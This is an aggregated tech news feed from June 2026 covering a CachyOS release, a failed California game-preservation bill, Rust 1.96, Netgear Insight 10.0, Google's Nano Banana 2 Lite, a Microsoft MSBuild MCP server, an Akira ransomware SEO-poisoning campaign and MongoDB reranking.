            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/cachyos-june-2026-iso-released-with-hyprland-noctalia-faster-performance-and-smarter-system-tools.jpg" width="850" height="500" alt="CachyOS June 2026 ISO Released with Hyprland Noctalia, Faster Performance, and Smarter System Tools" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>The CachyOS team has released the <strong>June 2026 ISO</strong>, delivering another feature-packed update for its Arch Linux-based distribution. Known for its aggressive performance optimizations and gaming-focused approach, CachyOS continues refining both the user experience and the underlying system with improvements ranging from compiler tuning to installer enhancements and new desktop options.</p>

<p>As the project's fourth major ISO refresh of the year, the June release emphasizes speed, usability, and modern hardware support while remaining fully compatible with Arch Linux's rolling-release ecosystem.</p>

<h2><strong>A New Hyprland Noctalia Desktop Experience</strong></h2>

<p>One of the headline additions is a new <strong>Hyprland Noctalia</strong> desktop option available directly from the installer.</p>

<p>Noctalia provides a polished, preconfigured Hyprland environment with a modern appearance, allowing users to enjoy a highly customizable Wayland compositor without spending hours configuring dotfiles after installation. The installer even includes a preview so users can see the desktop before selecting it.</p>

<p>For users interested in lightweight, keyboard-driven workflows, this new option makes Hyprland much more approachable.</p>

<h2><strong>Performance Optimizations Continue</strong></h2>

<p>Performance remains the defining characteristic of CachyOS, and the June 2026 release introduces several additional optimizations.</p>

<p>Notable improvements include:</p>

<ul><li>Python packages now built using <strong>extended Profile-Guided Optimization (PGO)</strong></li>
	<li>A new <strong>GCC branch prediction tuning patch</strong> designed to improve performance on modern Intel and AMD processors</li>
	<li>A fix for an <strong>OpenBLAS regression</strong> affecting high-core-count CPUs</li>
	<li>Additional package-level optimizations throughout the distribution</li>
</ul><p>These updates continue CachyOS's philosophy of extracting as much performance as possible from modern hardware.</p>

<h2><strong>Improved Package Management and Security</strong></h2>

<p>The June release also includes several important changes to package management.</p>

<p>One notable enhancement is <strong>network isolation for Pacman scriptlets and hooks</strong>, preventing installation scripts from accessing the network by default. This improves security during package installation and reduces the risk of unexpected behavior.</p>

<p>Additionally:</p>

<ul><li><code>proton-cachyos</code> has been renamed to <strong><code>proton-cachyos-native</code></strong></li>
	<li>The installer no longer includes the <strong>paru</strong> AUR helper</li>
	<li>Users are now encouraged to use <strong>Shelly</strong>, available with both graphical and command-line interfaces</li>
</ul><h2><strong>Installer Improvements</strong></h2>

<p>The installation experience has received considerable attention in this release.</p>

<p>Updates include:</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/cachyos-june-2026-iso-released-hyprland-noctalia-faster-performance-and-smarter-system" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
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<title><![CDATA[California Bill To Preserve Online Games Fails Committee Vote]]></title>
<description><![CDATA[California's Protect Our Games Act, which would require publishers to warn players before shutting down paid online games and offer refunds or continued access, failed to advance after a state Senate committee vote. Four state senators voted in favor, three voted against, and four abstained. Enga...]]></description>
<link>https://tsecurity.de/de/3636879/it-security-nachrichten/california-bill-to-preserve-online-games-fails-committee-vote/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636879/it-security-nachrichten/california-bill-to-preserve-online-games-fails-committee-vote/</guid>
<pubDate>Tue, 30 Jun 2026 23:08:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[California's Protect Our Games Act, which would require publishers to warn players before shutting down paid online games and offer refunds or continued access, failed to advance after a state Senate committee vote. Four state senators voted in favor, three voted against, and four abstained. Engadget reports: The committee unanimously voted in favor of granting the bill reconsideration, meaning it could come back before this group of state senators. Assemblymember Chris Ward introduced the bill in February and it passed the California State Assembly 43-16 in late May. That said, the abstentions prevented the bill's progression for now. "Not enough yeses means the bill stops here for this session," a volunteer with the Stop Killing Games campaign (which supported the bill) noted on Reddit. "That is the loss."
 
The volunteer also claimed this was the movement's first attempt to nudge such legislation through in the U.S., and that the bill got this far without paid staff or an in-person lobbying campaign. They said the Entertainment Software Association -- a trade organization of major game industry publishers -- brought in a lobbyist to halt the bill's progress (including by claiming private servers for the likes of Minecraft would be "illegal") and that Stop Killing Games would be more prepared to counter that in the future.
 
"Next session, we come back with an in-person lobbying presence, the funding to do this properly and a long list of organizations and developers signed on in support," the volunteer, u/Mr_Presidentle, wrote. "We are not limiting this to California. We intend to introduce versions of this in other state legislatures, and we are seriously looking at the federal level."<p></p><div class="share_submission">
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</div><p><a href="https://yro.slashdot.org/story/26/06/30/195215/california-bill-to-preserve-online-games-fails-committee-vote?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Rust introduces new Range types]]></title>
<description><![CDATA[Rust 1.96.0 has arrived, bringing new Range* types to the programming language known for its memory safety.



Announced May 28, Rust 1.96.0 can be installed by current users by running the command rustup update stable. 



In elaborating on the new Range* types, the Rust team said many users exp...]]></description>
<link>https://tsecurity.de/de/3636819/ai-nachrichten/rust-introduces-new-range-types/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636819/ai-nachrichten/rust-introduces-new-range-types/</guid>
<pubDate>Tue, 30 Jun 2026 22:33:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Rust 1.96.0 has arrived, bringing new <code>Range*</code> types to the <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">programming language</a> known for its <a href="https://www.infoworld.com/article/2336661/rust-memory-safety-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2336661/rust-memory-safety-explained.html">memory safety</a>.</p>



<p>Announced <a href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/">May 28,</a> Rust 1.96.0 can be installed by current users by running the command <code>rustup update stable</code>. </p>



<p>In elaborating on the new <code>Range*</code> types, the Rust team said many users expect <code>Range</code> and related <code>core::ops</code> types to be <code>Copy</code>, but this is not the case. These types implement <code>Iterator</code> directly, so “it is a <a href="https://rust-lang.github.io/rust-clippy/rust-1.95.0/index.html#copy_iterator" data-type="link" data-id="https://rust-lang.github.io/rust-clippy/rust-1.95.0/index.html#copy_iterator">footgun</a> to implement both <code>Iterator</code> and <code>Copy</code> on the same type”. <a href="https://rust-lang.github.io/rfcs/3550-new-range.html">RFC3550</a> proposed replacement range types that implement <code>IntoIterator</code> rather than <code>Iterator</code>, meaning they also can be <code>Copy</code>. The standard library portion of that RFC is now stable, introducing the types <code>core::range::Range</code>, <code>core::range::RangeFrom</code>, <code>core::range::RangeInclusive</code>, and associated iterators. </p>



<p>A future Rust version will add <code>core::range::RangeFull</code> and <code>core::range::RangeTo</code> as re-exports from <code>core::ops</code>. These do not implement <code>Iterator</code> and already implement <code>Copy</code>, the Rust team said. A future Rust version will also introduce <code>core::range::legacy::*</code> as the new home for the current ranges. Range syntax like <code>0..1</code> still produces the legacy types for now, the Rust team said, but will be updated to <code>core::range</code> types in an upcoming edition. With these stabilizations, it is now possible to store slice accessors in <code>Copy</code> types without splitting <code>start</code> and <code>end</code>, according to the team. Additionally, the new <code>RangeInclusive</code> type makes its fields public, unlike the legacy version that avoided exposing the exhausted iterator state.</p>



<p>Elsewhere in Rust 1.96.0, two new macros, <code>assert_matches!</code><strong> </strong>and <code>debug_assert_matches!</code>, check that a value matches a given pattern, panicking with a <code>Debug</code> representation of the value otherwise. And <a href="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html">WebAssembly</a> targets no longer pass <code>--allow-undefined</code> to the linker, which means that undefined symbols when linking are now a linker error instead of being converted to WebAssembly imports from the <code>"env"</code> module. This change prevents modules from linking unless all linking-related symbols are defined to catch bugs earlier and prevent accidental issues with symbol naming or similar.</p>



<p>The Rust team on <a href="https://blog.rust-lang.org/2026/06/30/Rust-1.96.1/">June 30</a> published a point release, Rust 1.96.1, which offers a series of fixes for Cargo, MIR, and libssh2: </p>



<ul class="wp-block-list">
<li><a href="https://github.com/rust-lang/cargo/pull/17131">Missing retries / timeouts in Cargo’s HTTP client</a></li>



<li><a href="https://github.com/rust-lang/rust/pull/158214">Miscompilation in a MIR optimization</a></li>



<li><a href="https://www.cve.org/CVERecord?id=CVE-2025-15661">CVE-2025-15661</a></li>



<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55199">CVE-2026-55199</a></li>



<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55200">CVE-2026-55200</a></li>
</ul>



<p></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Netgear brings AI-driven network management to SMEs and MSPs]]></title>
<description><![CDATA[Netgear today announced Insight 10.0, the latest version of its cloud-based network management platform, which adds new AI-powered capabilities designed to help small and midsize enterprises (SMEs) and managed service providers (MSPs) simplify network management, improve visibility, and reduce ma...]]></description>
<link>https://tsecurity.de/de/3636755/it-security-nachrichten/netgear-brings-ai-driven-network-management-to-smes-and-msps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636755/it-security-nachrichten/netgear-brings-ai-driven-network-management-to-smes-and-msps/</guid>
<pubDate>Tue, 30 Jun 2026 22:08:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>Netgear today announced <a href="https://www.netgear.com/business/insight" target="_blank" rel="noreferrer noopener">Insight 10.0</a>, the latest version of its cloud-based network management platform, which adds new AI-powered capabilities designed to help small and midsize enterprises (SMEs) and managed service providers (MSPs) simplify network management, improve visibility, and reduce manual tasks.</p>



<p>The company says the release represents a significant step toward AI-powered network operations and lays the foundation for future <a href="https://www.networkworld.com/article/4186427/cisco-ai-growth-is-exposing-campus-network-limits.html" target="_blank">AI-defined networking capabilities</a>.</p>



<p>“The future of networking is about giving organizations the intelligence to operate increasingly complex environments with confidence,” said <a href="https://www.linkedin.com/in/badjate/" target="_blank" rel="noreferrer noopener">Pramod Badjate</a>, president and general manager of Netgear Enterprise, in a <a href="https://www.netgear.com/hub/pressroom/enterprise/insight-10-ai-network-management/" target="_blank" rel="noreferrer noopener">statement</a>. “As AI transforms every business, networks must become more adaptive, more automated, and easier to operate. Insight 10.0 is the foundation of our vision of AIOps and AI-defined networking for the millions of small and medium-sized organizations that have historically been underserved by enterprise networking solutions.”</p>



<p>The company says organizations face growing network complexity driven by AI applications, cloud services, connected devices, and distributed workforces. And according to Netgear, many SMEs lack the IT resources available to large enterprises and need tools that can automate routine tasks.</p>



<p>Insight 10.0 addresses SME and MSP challenges by combining cloud-native management, automation, and AI-driven capabilities in a single platform, according to Netgear.</p>



<p>Netgear highlighted several new capabilities in the latest Insight release, including:</p>



<ul class="wp-block-list">
<li>AI-powered operations
<ul class="wp-block-list">
<li>Contextual insights to help identify issues faster</li>



<li>Proactive recommendations for troubleshooting and optimization</li>



<li>AI-assisted workflows designed to reduce manual effort</li>



<li>Support for more predictive network operations</li>
</ul>
</li>



<li>Unified visibility and network intelligence
<ul class="wp-block-list">
<li>Centralized visibility into network performance</li>



<li>Monitoring of device health, connectivity, and user experience</li>



<li>Actionable intelligence derived from operational data</li>



<li>Faster decision-making through a single management interface</li>
</ul>
</li>



<li>Simplified management at scale
<ul class="wp-block-list">
<li>Streamlined navigation and workflows</li>



<li>Flexible access controls</li>



<li>Simplified subscription management</li>



<li>Support for managing multiple sites, devices, users, and customer environments</li>
</ul>
</li>



<li>Cloud-native architecture
<ul class="wp-block-list">
<li>Centralized cloud management</li>



<li>Designed for continuous availability and resilient operations</li>



<li>Support for distributed network environments</li>



<li>Foundation for future AI-defined networking capabilities</li>
</ul>
</li>
</ul>



<p>Netgear says Insight 10.0 <a href="https://www.networkworld.com/article/4102599/ai-driven-network-management-gains-enterprise-trust.html" target="_blank">combines AI operations</a>, automation, cloud-native management, and operational intelligence to support that shift, according to the company. The platform is intended to help IT teams move from reactive troubleshooting toward more proactive operations.</p>



<p>Netgear customer Kenny Red, CTO at CTI, said the release improves onboarding, troubleshooting, and network configuration processes, areas that can consume significant time for systems integrators and service providers.</p>



<p>“We’ve had NETGEAR switches deployed across our own locations for years, and we’ve been part of the Insight development process since beta. The [Insight] 10.0 release reflects the feedback we gave—the interface is sharper, onboarding is faster, and the platform handles the two things that cost integrators the most time: post-deployment troubleshooting and manual network configuration. That’s a meaningful change, and it shows up in how we deliver,” Red said, in a <a href="https://www.businesswire.com/news/home/20260630032112/en/NETGEAR-Introduces-the-Next-Generation-of-Insight-Advancing-the-Future-of-AI-Driven-Network-Management" target="_blank" rel="noreferrer noopener">statement</a>.</p>



<p>Netgear Insight 10.0 is available now.</p>
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<title><![CDATA[Google unveils Nano Banana 2 Lite aka Gemini 3.1 Flash-Lite for low cost, 4-second fast enterprise image generations]]></title>
<description><![CDATA[Google is upgrading its AI image generation capabilities today with the debut of Nano Banana 2 (NB2) Lite, an optimized model built for rapid execution and tight infrastructure budgets. Technically designated as Gemini 3.1 Flash-Lite Image on Google's application programming interface (API), NB2 ...]]></description>
<link>https://tsecurity.de/de/3636200/it-nachrichten/google-unveils-nano-banana-2-lite-aka-gemini-31-flash-lite-for-low-cost-4-second-fast-enterprise-image-generations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636200/it-nachrichten/google-unveils-nano-banana-2-lite-aka-gemini-31-flash-lite-for-low-cost-4-second-fast-enterprise-image-generations/</guid>
<pubDate>Tue, 30 Jun 2026 18:18:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google is upgrading its AI image generation capabilities today with the <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-omni-flash-nano-banana-2-lite/">debut</a> of <a href="https://x.com/googleaidevs/status/2071988366925521075">Nano Banana 2 (NB2) Lite</a>, an optimized model built for rapid execution and tight infrastructure budgets. </p><p>Technically designated as Gemini 3.1 Flash-Lite Image on Google's application programming interface (API), NB2 Lite is positioned as the fastest and most cost-effective option within Google's creative model family, capable of generating images in 4 seconds at a flat rate of $0.034 per 1,000 images. </p><p>It's available immediately to enterprise developers through Google AI Studio, the Gemini API, and the Gemini Enterprise Agent Platform (GEAP).</p><p>It's not quite as fast or customizable as startup <a href="https://venturebeat.com/ai/enterprise-grade-ai-image-generation-in-2-seconds-is-here-krea-2-raw-and-turbo-available-as-open-weights-under-custom-license">Krea's new, partially open licensed Krea 2 Turbo</a> (which allows for open modification and commercial usage by small enterprises), but the big selling point here is the low price and bundling with Google's larger Workplace and AI offerings. </p><p>This release lands alongside the public preview of Gemini Omni Flash, a multimodal conversational video generation and editing model. </p><p>However, while Omni Flash represents Google's long-term bet on agentic video manipulation, Nano Banana 2 Lite is the immediate infrastructure workhorse, tailored specifically for high-throughput commercial application, rapid programmatic prototyping, and automated asset generation workflows. </p><h3><b>The technology of speed</b></h3><p>At its core, Nano Banana 2 Lite is built directly upon the Gemini 3.1 Flash Lite architecture, engineered to solve the persistent tension between computational latency and operational overhead. </p><p>In high-velocity enterprise frameworks, traditional large-scale image models introduce significant friction due to multi-second processing delays and high per-token costs. Google's new lightweight model circumvents these bottlenecks by generating a standard 1k resolution image in under four seconds. </p><p>This represents a stark performance optimization over its legacy predecessor, Nano Banana (Gemini 2.5 Flash Image), achieved through targeted enhancements in core baseline capabilities. </p><p>According to internal documentation, the model features upgraded world knowledge for drafting rough data visualizations and contextual layouts, enhanced character consistency to preserve identity across continuous image streams, and localized typographic rendering capabilities. </p><p>The trade-offs inherent to this "Lite" designation are transparently outlined in Google’s technical data sheets. </p><p>Unlike the broader standard Nano Banana 2 (NB2) and Nano Banana Pro (NB Pro) lines, which support versatile multi-resolution scaling across 1k, 2k, and 4k outputs, Nano Banana 2 Lite restricts its resolution support exclusively to a 1k canvas. Yet, within this specialized operational boundary, the architectural tuning yields surprising competitive efficiencies. In standardized internal benchmarks, Nano Banana 2 Lite achieved a Text to Image arena Elo score of 1251. This score comfortably eclipses the legacy NB1 score of 1151 and remarkably edges out the bulkier, more expensive NB Pro, which sits at 1245 in the same text-to-image track. For specialized editing tasks, the model maintains a single-image editing Elo score of 1308 and a multiple-image editing score of 1294, providing a highly optimized sweet spot for real-time applications.</p><h2><b>A boost to rapid prototyping and marketing research</b></h2><p>From a product implementation perspective, Google is marketing Nano Banana 2 Lite not as an artistic engine, but as an invisible, high-throughput utility layer for automated workflows. T</p><p>he target demographic spans software engineers, programmatic ad platforms, and digital commerce applications where rapid iteration is crucial. </p><p>Think real-time A/B testing for thousands of targeted advertising variations or immediate layout adjustments on localized storefronts. Google highlights three specific production environments where the model excels. </p><p>First, its world knowledge allows systems to instantly draft accurate contextual scenes or location-specific mockups. </p><p>Second, its character consistency handles the rigorous demands of storyboarding tools and digital fashion try-ons, where keeping object fidelity static across sequential generations is historically difficult. </p><p>Finally, its text rendering improvements mean legible copy can be embedded directly into rapid ad generations, allowing teams to verify layout compatibility across various languages on the fly. </p><p>Developers should note, however, that while native image generation operates with lowest-latency profiles, conditional image editing tasks may experience marginally higher response times due to the secondary processing layers required to rewrite existing pixels. </p><h2><b>Licensing and acess</b></h2><p>The deployment mechanism of Nano Banana 2 Lite via proprietary APIs underscores an enterprise-first commercial licensing strategy. </p><p>Unlike open-weights models that developers can pull down to run locally under open-source frameworks like Apache 2.0 or modified OpenRAIL licenses, Google’s latest models remain tightly integrated into its managed cloud stack. </p><p>For enterprises, this eliminates the operational complexity of hosting hardware but binds usage strictly to Google’s metered pricing terms.Financially, this commercial strategy is highly aggressive. </p><p>At $0.034 per 1,000 images across both AI Studio and GEAP channels, the model undercuts the older, less capable NB1 model ($0.039) and slashes costs dramatically compared to standard NB2 ($0.067) and NB Pro ($0.134) tiers. Internal notes indicate that the model delivers roughly 60–70% of the general capability of NB2 and NB Pro while executing at significantly higher speeds and a fraction of the cost. </p><p>By lowering the fiscal barrier to high-frequency image generation, Google is making a direct play to lock enterprise developers into its commercial platform ecosystem.</p>]]></content:encoded>
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<title><![CDATA[Microsoft MCP server gives AI assistants access to MSBuild logs]]></title>
<description><![CDATA[Microsoft has introduced the Microsoft Binlog MCP Server, which gives AI assistants like GitHub Copilot direct access to MSBuild (.binlog) files. The Model Context Protocol server enables AI-powered build investigation through natural language conversation, Microsoft said. 



Introduced June 17 ...]]></description>
<link>https://tsecurity.de/de/3636127/ai-nachrichten/microsoft-mcp-server-gives-ai-assistants-access-to-msbuild-logs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636127/ai-nachrichten/microsoft-mcp-server-gives-ai-assistants-access-to-msbuild-logs/</guid>
<pubDate>Tue, 30 Jun 2026 17:34:21 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Microsoft has introduced the Microsoft Binlog MCP Server, which gives AI assistants like <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a> direct access to MSBuild (.binlog) files. The <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> server enables AI-powered build investigation through natural language conversation, Microsoft said. </p>



<p>Introduced <a href="https://devblogs.microsoft.com/dotnet/msbuild-binlog-mcp-server/">June 17</a> and currently in a preview stage, the Microsoft Binlog MCP Server parses <code>.binlog</code><strong> </strong>files and exposes 15 specialized tools that enable AI-driven diagnosis, property tracing, performance analysis, and build comparison. Microsoft said that AI assistants gain the ability to do the following:</p>



<ul class="wp-block-list">
<li>Investigate build failures by querying errors, warnings, and full project/target/task context</li>



<li>Trace property origins to understand where a property got its value</li>



<li>Analyze performance bottlenecks by identifying the slowest projects, targets, and tasks</li>



<li>Compare two builds to spot differences in packages and properties</li>



<li>Read embedded source files captured during the build</li>
</ul>



<p>Instead of manually scrolling through the <a href="https://msbuildlog.com/" target="_blank" rel="noreferrer noopener">MSBuild Structured Log Viewer</a>, Microsoft said that developers can ask their AI assistant questions like “Why did my build fail?” or “What’s making my build slow?” MSBuild’s binary logs contain detailed information about a build including every property evaluation, target execution, task invocation, error, and warning. Thus navigating that data manually can be overwhelming, especially when debugging a complex multi-project solution. Tapping an AI coding assistant for these investigations can save significant time and effort. </p>



<p>Microsoft noted that the easiest way to get started with the Microsoft Binlog MCP server is through the <a href="https://github.com/dotnet/skills">.NET Agent Skills repository</a>. The <code>dotnet-msbuild</code> plugin, which is available for Visual Studio, Visual Studio Code, and terminal-based AI assistants such as GitHub Copilot CLI and Claude Code, bundles the Microsoft Binlog MCP Server along with curated skills and agents for MSBuild build investigation and optimization. </p>
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<title><![CDATA[California Protect Our Games Act fails in committee, as an ESA rep calls Minecraft servers "illegal"]]></title>
<description><![CDATA[The fight continues on for Stop Killing Games, but the California Protect Our Games Act has failed during committee so that's the end of it there for now.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3635815/linux-tipps/california-protect-our-games-act-fails-in-committee-as-an-esa-rep-calls-minecraft-servers-illegal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635815/linux-tipps/california-protect-our-games-act-fails-in-committee-as-an-esa-rep-calls-minecraft-servers-illegal/</guid>
<pubDate>Tue, 30 Jun 2026 15:53:05 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The fight continues on for Stop Killing Games, but the California Protect Our Games Act has failed during committee so that's the end of it there for now.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/467162219id29303gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/protect-our-games-act-stop-killing-games-fails-in-committee-as-an-esa-rep-calls-minecraft-servers-illegal/">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[Bing Search for ‘ManageEngine OpManager’ Delivers Akira Ransomware]]></title>
<description><![CDATA[A simple Bing search for a popular IT tool turned into a full-scale ransomware attack. Threat actors abused search engine optimization (SEO) poisoning to push a fake download link into Bing search results, tricking IT administrators into installing malware disguised…
Read more →
The post Bing Sea...]]></description>
<link>https://tsecurity.de/de/3635805/it-security-nachrichten/bing-search-for-manageengine-opmanager-delivers-akira-ransomware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635805/it-security-nachrichten/bing-search-for-manageengine-opmanager-delivers-akira-ransomware/</guid>
<pubDate>Tue, 30 Jun 2026 15:51:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A simple Bing search for a popular IT tool turned into a full-scale ransomware attack. Threat actors abused search engine optimization (SEO) poisoning to push a fake download link into Bing search results, tricking IT administrators into installing malware disguised…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/bing-search-for-manageengine-opmanager-delivers-akira-ransomware/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/bing-search-for-manageengine-opmanager-delivers-akira-ransomware/">Bing Search for ‘ManageEngine OpManager’ Delivers Akira Ransomware</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Bing Search for ‘ManageEngine OpManager’ Delivers Akira Ransomware]]></title>
<description><![CDATA[A simple Bing search for a popular IT tool turned into a full-scale ransomware attack. Threat actors abused search engine optimization (SEO) poisoning to push a fake download link into Bing search results, tricking IT administrators into installing malware disguised as legitimate software. The ca...]]></description>
<link>https://tsecurity.de/de/3635685/it-security-nachrichten/bing-search-for-manageengine-opmanager-delivers-akira-ransomware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635685/it-security-nachrichten/bing-search-for-manageengine-opmanager-delivers-akira-ransomware/</guid>
<pubDate>Tue, 30 Jun 2026 15:09:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A simple Bing search for a popular IT tool turned into a full-scale ransomware attack. Threat actors abused search engine optimization (SEO) poisoning to push a fake download link into Bing search results, tricking IT administrators into installing malware disguised as legitimate software. The campaign has raised serious concerns about how routine daily search habits […]</p>
<p>The post <a href="https://cybersecuritynews.com/bing-search-for-manageengine-opmanager/">Bing Search for ‘ManageEngine OpManager’ Delivers Akira Ransomware</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[MongoDB embeds reranking into Atlas as enterprises look to simplify AI stacks for scale]]></title>
<description><![CDATA[MongoDB has introduced a native reranking capability for Atlas, aiming to help enterprises improve AI retrieval quality without adding another service to their technology stack.



The move addresses a longstanding challenge with reranking technology. While it can significantly boost the relevanc...]]></description>
<link>https://tsecurity.de/de/3635369/ai-nachrichten/mongodb-embeds-reranking-into-atlas-as-enterprises-look-to-simplify-ai-stacks-for-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635369/ai-nachrichten/mongodb-embeds-reranking-into-atlas-as-enterprises-look-to-simplify-ai-stacks-for-scale/</guid>
<pubDate>Tue, 30 Jun 2026 13:18:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>MongoDB has introduced a native reranking capability for Atlas, aiming to help enterprises improve AI retrieval quality without adding another service to their technology stack.</p>



<p>The move addresses a longstanding challenge with reranking technology. While it can significantly boost the relevance of AI-generated responses, deploying it has typically required separate vendors, APIs, and orchestration layers that add complexity, governance overhead, and cost as AI applications scale.</p>



<p>The feature named <a href="https://www.mongodb.com/docs/vector-search/query/aggregation-stages/rerank/">Native Reranking</a>, currently in public preview and powered by <a href="https://www.infoworld.com/article/3831631/mongodb-acquires-voyage-ai-to-reduce-hallucinations-in-ai-applications.html">Voyage AI</a>, runs directly within the MongoDB aggregation pipeline and can improve retrieval quality by up to 30%, the company said in a statement.</p>



<h2 class="wp-block-heading">Native integration cuts developer overhead</h2>



<p>Embedding reranking directly into the database, according to analysts, will reduce operational toil for developers, resulting in productivity gains.</p>



<p>“Native Reranking reduces the work that developers usually do. The immediate impact is a little less code. However, the lasting gain is never building the retry logic, the failure handling, and the version juggling that a separate reranking service forces on you. That orchestration is invisible in a demo and a real tax once the app is live,” said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Mike Leone</a>, principal analyst at Moor Insights &amp; Strategy.</p>



<p>Similarly, <a href="https://www.linkedin.com/in/slwalter" target="_blank" rel="noreferrer noopener">Stephanie Walter</a>, practice leader for the AI stack at HyperFRAME Research, pointed out that the new feature will allow developers to spend less time wiring together infrastructure and more time improving application behavior.</p>



<p>That reduction in engineering overhead will also positively impact enterprise IT leaders, mostly CIOs, responsible for governing AI infrastructure.</p>



<p>“For CIOs, native reranking is valuable because it simplifies the AI stack. Every additional AI service creates another place to govern, secure, monitor, and pay for,” Walter said.</p>



<p>“While putting reranking closer to the data does not eliminate all architectural complexity, it reduces one of the handoffs where retrieval quality, data freshness, and operational control can break down,” Walter added.</p>



<p>The value for CIOs is more strategic, said <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, leader of executive research at HFS Research. “Most enterprises cite inaccuracy as their top AI risk as adoption scales,” Chaturvedi said. Better retrieval, he noted, is “infrastructure for earning that trust,” because enterprises are unlikely to hand greater decision-making authority to AI agents unless they can trust the quality of the information those systems retrieve and reason over.</p>



<h2 class="wp-block-heading">Reducing the cost of enterprise AI at scale</h2>



<p>Beyond simplifying development and operations, Native Reranking could also help CIOs reduce the operational costs of scaling AI, an area that remains a major enterprise challenge, analysts further pointed out.</p>



<p>Retrieval optimization, according to Walter, is emerging as one of the most practical levers for controlling AI spending because reducing irrelevant context lowers token consumption.</p>



<p>“The rationale is that every passage you send to the model is something it has to read and reason over on expensive GPU compute, and that cost scales with how much you feed it. Trimming irrelevant passages before they reach the model means you stop paying frontier-model rates to reason over context that was never going to matter,” echoed Chaturvedi.</p>



<p>“As enterprises adopt larger, pricier models, the cost of padded context compounds fast. And in the agentic era, the math gets worse, because bad retrieval doesn’t just produce one bad answer. Rather, it triggers a wrong step, a retry, and a fresh round of tokens across the whole trajectory,” Chaturvedi added.</p>



<h2 class="wp-block-heading">Potential trade-offs</h2>



<p>Despite all the benefits around productivity, integration, and cost, Native Reranking, analysts warned, comes with its own set of potential trade-offs.</p>



<p>The very simplification of the enterprise AI stack that Native Reranking offers today can become vendor lock-in later, said Leone, adding that it can increase the cost of switching platforms later.</p>



<p><a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group, pointed to another limitation, noting that the value of native reranking depends on whether MongoDB serves as the organization’s primary data repository.</p>



<p>Enterprises with data spread across multiple repositories may still require cross-system orchestration or centralized retrieval optimization rather than relying solely on database-native capabilities, he added.</p>



<h2 class="wp-block-heading">CIOs should evaluate beyond model accuracy</h2>



<p>These trade-offs, analysts said, also underscore why CIOs should avoid evaluating retrieval technologies solely on retrieval accuracy.</p>



<p>Instead, Walter pointed out that CIOs should assess platforms based on their ability to balance retrieval accuracy with operational simplicity, governance, latency, and data freshness.</p>



<p>Similarly, Chaturvedi cautioned that CIOs should increasingly evaluate the total cost of ownership, including the engineering effort required to maintain retrieval quality, token consumption, and the number of operational failure points introduced by the architecture.</p>



